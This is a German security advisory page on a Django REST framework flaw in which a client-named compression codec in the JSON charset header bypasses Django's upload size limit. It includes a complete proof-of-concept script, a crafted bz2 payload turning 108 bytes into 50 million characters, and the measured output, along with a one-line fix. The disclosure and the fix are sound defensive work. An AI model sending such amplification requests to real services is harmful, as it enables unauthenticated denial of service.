Hoch

Django REST framework: JSONParser wendet einen vom Angreifer benannten Codec auf den Anforderungsdatenstrom an

  • Veröffentlicht: 22.10.2026
  • Aktualisiert: 25.10.2026 10:00

Zusammenfassung

Ein nicht authentifizierter Angreifer kann das DATA_UPLOAD_MAX_MEMORY_SIZE-Limit von Django umgehen und einen Worker-Prozess zwingen, beliebig viel Speicher zuzuweisen, indem er einen Komprimierungs-Codec im Charset-Parameter des Content-Type angibt. Ein Anfrage-Body von 108 Bytes erzeugt innerhalb der View einen Wert von 50,331,648 Zeichen, was einem Verstärkungsfaktor von 466,033 entspricht, und erhöht den Spitzen-RSS des Prozesses um ca. 97 MiB. Außer dem Standard-Parser-Set von DRF ist keine Anwendungskonfiguration erforderlich; der Endpunkt muss lediglich einen JSON-Body akzeptieren.

Details

JSONParser.parse dekodiert den Anforderungs-Body mit dem Zeichensatz, den der Client im Content-Type-Header angegeben hat:

python
# rest_framework/parsers.py
encoding = parser_context.get('encoding', settings.DEFAULT_CHARSET)
try:
    decoded_stream = codecs.getreader(encoding)(stream)
    parse_constant = json.strict_constant if self.strict else None
    return json.load(decoded_stream, parse_constant=parse_constant)
except ValueError as exc:
    raise ParseError('JSON parse error - %s' % str(exc))

Von den rund 455 Codec-Namen, die codecs.lookup auf CPython 3.14 auflöst, sind etwa 18 Byte-Transformationen statt Zeichensätze: bz2_codec, zlib_codec, base64_codec, hex_codec, quopri_codec, uu_codec und ähnliche. codecs.getreader ist der einzige Einstiegspunkt im Modul codecs, der CodecInfo._is_text_encoding nicht abfragt, sodass alle akzeptiert werden. Das Senden von Content-Type: application/json; charset=bz2_codec wickelt den Anfragestream in einen bz2-Dekompressor, bevor json.load ihn liest.

Die Reihenfolge macht dies ausnutzbar. Django rechnet DATA_UPLOAD_MAX_MEMORY_SIZE gegen die Bytes an, die über die Leitung angekommen sind: rest_framework/request.py übergibt JSONParser ein io.BytesIO(self.body), und in HttpRequest.body wird _check_data_too_big() ausgeführt. Die Dekomprimierung erfolgt danach innerhalb des Parsers, wo keine Zählung stattfindet.

Dies ist ein Fehler von DRF und nicht von Django. Django löst den Charset-Parameter auf und weist request.encoding zu, und codecs.lookup löst Byte-Transformationen auf, aber jeder Django-Consumer von request.encoding durchläuft die Text-Codec-API und schlägt im Zweifel fehl (fail-closed). Sowohl bytes.decode('bz2_codec') als auch str(raw, 'bz2_codec') lösen LookupError: 'bz2_codec' is not a text encoding; use codecs.decode() to handle arbitrary codecs aus. DRF ist der einzige Aufrufer, der den Anfragestream an codecs.getreader übergibt.

FormParser (parsers.py:84) und MultiPartParser (parsers.py:104-118) akzeptieren dieselbe vom Client benannte Kodierung, schlagen jedoch fehl (fail-closed), anstatt eine Verstärkung durchzuführen.

Die Schwachstelle wurde durch 9a228116 (PR #5147, 2017-05-24, „Improve memory footprint when reading large JSON requests“) eingeführt und erstmals in 3.6.4 veröffentlicht. Der letzte Kommentar zu diesem PR stellt fest, dass der beabsichtigte Speichergewinn nicht greift, da read() den gesamten Stream dekodiert – genau die Eigenschaft, die diese Erweiterung unbegrenzt macht. Seitdem wurde keine Überprüfung von _is_text_encoding hinzugefügt.

Ein einzeiliger Fix bei parsers.py:61-64:

python
if not codecs.lookup(encoding)._is_text_encoding:
    raise ParseError('Unsupported charset in Content-Type')

PoC

Als poc_charset_amplification.py speichern und ausführen. Es erstellt eigene Payloads, führt jeden Testzweig in einem separaten Unterprozess aus (Peak-RSS ist ein Höchststand, daher führt die Messung mehrerer Zweige in einem Prozess zu einem Zuwachs von nahezu null für jeden Zweig nach dem ersten) und gibt ein Ergebnis aus.

python
#!/usr/bin/env python
"""
django-rest-framework: JSONParser applies an attacker-named codec to the request
stream, defeating DATA_UPLOAD_MAX_MEMORY_SIZE.

Four arms, each in a fresh subprocess because peak RSS is a high-water mark and
measuring several arms in one process reports ~0 growth for every arm after the
first.

  T   ~108-byte bz2 body, Content-Type: application/json; charset=bz2_codec
  C1  48 MiB plaintext,   Content-Type: application/json   (no charset)
  C2  the byte-identical T body, charset=utf-8
  C3  zlib body, charset=zlib_codec

The claim is T AND C1 AND C2. C1 proves the size limit is live; C2 proves the
codec name and not the payload is what produces the expansion.

Requires: django, djangorestframework importable. No arguments, nothing to edit.
    python poc_charset_amplification.py
Exit status 0 means every arm behaved as described in the advisory.
"""
import hashlib
import json
import os
import subprocess
import sys
import tempfile

PAYLOAD_CHARS = 48 * 1024 * 1024
PAYLOAD_DIR = os.path.join(tempfile.gettempdir(), "drf-charset-amp")
LIMIT = 65536

ARMS = {
    "T": ("bz2.bin", "application/json; charset=bz2_codec"),
    "C1": ("plain.bin", "application/json"),
    "C2": ("bz2.bin", "application/json; charset=utf-8"),
    "C3": ("zlib.bin", "application/json; charset=zlib_codec"),
}
EXPECTED = {
    "T": "HTTP 200, parsed value orders of magnitude larger than the wire bytes",
    "C1": "rejected with RequestDataTooBig, view body never runs",
    "C2": "HTTP 400 ParseError on the byte-identical compressed body",
    "C3": "HTTP 200, same expansion under a different codec name",
}
VIEW_RAN = []


def build_payloads():
    import bz2
    import zlib

    os.makedirs(PAYLOAD_DIR, exist_ok=True)
    plain = b'{"a":"' + b"A" * PAYLOAD_CHARS + b'"}'
    blobs = {
        "plain.bin": plain,
        "bz2.bin": bz2.compress(plain, 9),
        "zlib.bin": zlib.compress(plain, 9),
    }
    for name, blob in blobs.items():
        with open(os.path.join(PAYLOAD_DIR, name), "wb") as fh:
            fh.write(blob)
    return {name: len(blob) for name, blob in blobs.items()}


def configure_django():
    from django.conf import settings

    settings.configure(
        DEBUG=False,
        ALLOWED_HOSTS=["testserver"],
        SECRET_KEY="poc",
        ROOT_URLCONF=__name__,
        MIDDLEWARE=[],
        INSTALLED_APPS=[
            "django.contrib.contenttypes",
            "django.contrib.auth",
            "rest_framework",
        ],
        DATABASES={
            "default": {"ENGINE": "django.db.backends.sqlite3", "NAME": ":memory:"}
        },
        DEFAULT_CHARSET="utf-8",
        DATA_UPLOAD_MAX_MEMORY_SIZE=LIMIT,
        LOGGING_CONFIG=None,
        USE_TZ=True,
    )
    import django

    django.setup()


def build_view():
    from rest_framework.response import Response
    from rest_framework.views import APIView

    class Echo(APIView):
        authentication_classes = []
        permission_classes = []

        def post(self, request):
            data = request.data
            VIEW_RAN.append(True)
            value = data.get("a") if isinstance(data, dict) else None
            return Response(
                {"parsed_value_len": len(value) if isinstance(value, str) else None}
            )

    return Echo


def __getattr__(name):
    # ROOT_URLCONF points at this module; build urlpatterns lazily.
    if name == "urlpatterns":
        from django.urls import path

        value = [path("x", build_view().as_view())]
        globals()["urlpatterns"] = value
        return value
    raise AttributeError(name)


def peak_rss_kib():
    """Peak resident size of this process. /proc is used where available because
    ru_maxrss does not track the calling process on every kernel."""
    try:
        with open("/proc/self/status") as fh:
            for line in fh:
                if line.startswith("VmHWM:"):
                    return int(line.split(":")[1].strip().split()[0])
    except OSError:
        pass
    import resource

    return resource.getrusage(resource.RUSAGE_SELF).ru_maxrss


def run_arm(arm):
    payload_name, content_type = ARMS[arm]
    with open(os.path.join(PAYLOAD_DIR, payload_name), "rb") as fh:
        body = fh.read()

    configure_django()
    from django.test import Client, RequestFactory

    client = Client(raise_request_exception=False)
    # Warm every lazily imported module so the delta measures the request only.
    client.generic("POST", "/x", data=b'{"a":"A"}', content_type="application/json")
    VIEW_RAN.clear()

    before = peak_rss_kib()
    response = client.generic("POST", "/x", data=body, content_type=content_type)
    after = peak_rss_kib()

    parsed_len = None
    if response.status_code == 200:
        try:
            parsed_len = json.loads(response.content).get("parsed_value_len")
        except ValueError:
            pass

    # Second reading via a bare RequestFactory so the exception class is visible
    # directly instead of inferred from a status code.
    request = RequestFactory().generic(
        "POST", "/x", data=body, content_type=content_type
    )
    try:
        direct = {"status_code": build_view().as_view()(request).status_code}
    except BaseException as exc:  # noqa: BLE001 - naming the class is the point
        direct = {"exception": f"{type(exc).__module__}.{type(exc).__name__}"}

    return {
        "arm": arm,
        "content_type": content_type,
        "transmitted_bytes": len(body),
        "body_sha256": hashlib.sha256(body).hexdigest(),
        "status_code": response.status_code,
        "view_body_executed": bool(VIEW_RAN),
        "parsed_value_len": parsed_len,
        "amplification_ratio": round(parsed_len / len(body), 1) if parsed_len else None,
        "peak_rss_delta_mib": round((after - before) / 1024.0, 1),
        "direct_dispatch": direct,
    }


def check(arm, r):
    if arm in ("T", "C3"):
        return (
            r["status_code"] == 200
            and r["view_body_executed"]
            and r["parsed_value_len"] == PAYLOAD_CHARS
            and r["amplification_ratio"] >= 700
        )
    if arm == "C1":
        return (
            r["status_code"] != 200
            and not r["view_body_executed"]
            and r["direct_dispatch"].get("exception")
            == "django.core.exceptions.RequestDataTooBig"
        )
    if arm == "C2":
        return r["status_code"] == 400 and not r["view_body_executed"]
    raise AssertionError(arm)


def main():
    if "--arm" in sys.argv:
        print(json.dumps(run_arm(sys.argv[sys.argv.index("--arm") + 1])))
        return 0

    sizes = build_payloads()
    print(f"# payload sizes: {sizes}")
    print(f"# DATA_UPLOAD_MAX_MEMORY_SIZE = {LIMIT}")
    print(f"# JSON string value under test: {PAYLOAD_CHARS} characters\n")

    ok = True
    results = {}
    for arm in ("T", "C1", "C2", "C3"):
        proc = subprocess.run(
            [sys.executable, os.path.abspath(__file__), "--arm", arm],
            capture_output=True,
            text=True,
        )
        if proc.returncode != 0:
            print(f"{arm}: harness failed\n{proc.stderr}")
            return 2
        r = json.loads(proc.stdout.strip().splitlines()[-1])
        results[arm] = r
        passed = check(arm, r)
        ok = ok and passed
        print(f"=== {arm}  [{'as described' if passed else 'NOT as described'}]")
        print(f"    expected: {EXPECTED[arm]}")
        print(json.dumps(r, indent=6))
        print()

    print("=== summary")
    for arm, r in results.items():
        print(
            f"    {arm:3} wire={r['transmitted_bytes']:>9}B  status={r['status_code']}  "
            f"parsed_len={r['parsed_value_len']}  ratio={r['amplification_ratio']}  "
            f"peak_rss_delta={r['peak_rss_delta_mib']} MiB  view_ran={r['view_body_executed']}"
        )
    print(f"\n    T and C1 and C2: {'all held' if ok else 'NOT all held'}")
    return 0 if ok else 1


if __name__ == "__main__":
    sys.exit(main())

Beobachtete Ausgabe, gekürzt auf den Zusammenfassungsblock:

# payload sizes: {'plain.bin': 50331656, 'bz2.bin': 108, 'zlib.bin': 48941}
# DATA_UPLOAD_MAX_MEMORY_SIZE = 65536
# JSON string value under test: 50331648 characters

=== summary
    T   wire=      108B  status=200  parsed_len=50331648  ratio=466033.8  peak_rss_delta=96.8 MiB  view_ran=True
    C1  wire= 50331656B  status=400  parsed_len=None      ratio=None      peak_rss_delta=48.3 MiB  view_ran=False
    C2  wire=      108B  status=400  parsed_len=None      ratio=None      peak_rss_delta=0.0 MiB   view_ran=False
    C3  wire=    48941B  status=200  parsed_len=50331648  ratio=1028.4    peak_rss_delta=95.2 MiB  view_ran=True

    T and C1 and C2: all held

C1 stellt fest, dass die Größenbeschränkung aktiv und konfiguriert ist, sodass 200 in T ein umgangener Schutz und kein fehlender ist. C1 meldet ein eigenes RSS-Wachstum, weil der Client den 48 MiB großen Body hält, bevor das Limit ihn ablehnt; dies sind clientseitige Kosten, die die View nie erreichen. C2 trägt die Hauptlast: Sein Body ist byteweise identisch mit T, und nur der Codec-Name unterscheidet sich. Die RSS-Werte variieren zwischen den Durchläufen um wenige MiB.

Die Wiederholung aller vier Zweige unter Django 5.2.17 LTS ergab 109 Leitungsbytes zu 50,331,648 Zeichen, 461,758x, wobei sowohl C1 als auch C2 griffen.

Hinweis für eine eigene Re-Implementierung der Anfrage: Verwenden Sie Client.generic() oder RequestFactory().generic(). Sowohl Client.post() als auch RequestFactory.post() leiten den Body durch force_bytes(data, encoding=<charset>) (django/test/client.py:438-447), wodurch eine komprimierte Payload zerstört wird, bevor der Parser sie sieht.

Auswirkung

Nicht authentifizierter Denial of Service durch Speicherverstärkung gegen jeden Endpunkt, der einen JSON-Body mit dem Standard-Parser-Set akzeptiert. Jede Bereitstellung unter 3.6.4 oder höher ist betroffen, und es ist kein spezieller Anwendungscode oder eine Konfigurationsentscheidung erforderlich, um betroffen zu sein. Der Speicher wird pro Anfrage zugewiesen und danach freigegeben, weshalb dies allein auf die Verfügbarkeit bezogen und nicht als kritisch eingestuft wird. Aufgrund des Verstärkungsfaktors kann jedoch bereits eine geringe Anzahl gleichzeitiger Anfragen einen Worker erschöpfen. Wenige hundert Bytes reservieren Hunderte von Megabytes, und weder in DRF noch in Django wird die expandierte Größe begrenzt.

Was zu tun ist

Aktualisieren Sie auf Version 3.18.2 oder höher. Alternativ kann der einzeilige Fix an parsers.py:61-64 angewendet werden:

python
if not codecs.lookup(encoding)._is_text_encoding:
    raise ParseError('Unsupported charset in Content-Type')

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) djangorestframework >= 3.6.4, < 3.18.2 3.18.2

Verweise

CVSS-Wert 7.5/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Schwäche (CWE)
CWE-409, CWE-770
Plattform
Python (PyPI)
Paket
djangorestframework
Veröffentlicht
22.10.2026
Aktualisiert
25.10.2026 10:00

Quellen und Lizenzen · Von DockRay bearbeitet oder übersetzt; Rechte und Lizenzen der Quellen bleiben erhalten.

OSV / GitHub Advisory Database - GHSA-3547-9m27-7rxg - CC BY 4.0

Schwachstellenhistorie: djangorestframework

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Einträge insgesamt
6
Erste → letzte
09.2020 10.2026
Ohne Fix
0
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Hoch 2
  • Mittel 3
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2020: 1
  2. 2021: 0
  3. 2022: 0
  4. 2023: 0
  5. 2024: 1
  6. 2025: 0
  7. 2026: 4
  1. Hoch · 7.4 CVE-2026-114137 >= 3.12.0, < 3.18.2 3.18.2
  2. Django REST framework: JSONParser wendet einen vom Angreifer benannten Codec auf den Anforderungsdatenstrom an dieser Eintrag
    Hoch · 7.5 CVE-2026-114136 >= 3.6.4, < 3.18.2 3.18.2
  3. Niedrig · 6.1 CVE-2024-21520 < 3.15.2 3.15.2
  4. Mittel · 6.1 CVE-2020-25626 < 3.11.2 3.11.2

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.